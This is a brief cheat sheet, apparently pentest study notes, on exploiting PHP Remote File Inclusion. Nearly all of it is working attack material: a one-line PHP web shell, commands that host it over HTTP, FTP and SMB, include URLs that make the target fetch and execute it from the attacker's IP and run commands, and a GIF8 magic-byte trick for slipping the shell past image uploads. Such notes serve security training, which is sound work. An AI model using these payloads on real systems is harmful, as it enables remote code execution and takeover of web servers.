Remote File Inclusion

/index.php?language=http://127.0.0.1:80/index.php

# This will execute the shell.php from a remote server
echo '<?php system($_GET["cmd"]); ?>' > shell.php

sudo python3 -m http.server <LISTENING_PORT>

/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

sudo python3 -m pyftpdlib -p 21

/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

OR

curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'

# We don't need the allow_url_include in the PHP configuration
# Since the windows treat the remote samba files as normal files
# Not working idk why >_<
impacket-smbserver -smb2support share $(pwd)

/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

# Put GIF8 to manipulate magic bytes
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
/index.php?language=./profile_images/shell.gif&cmd=id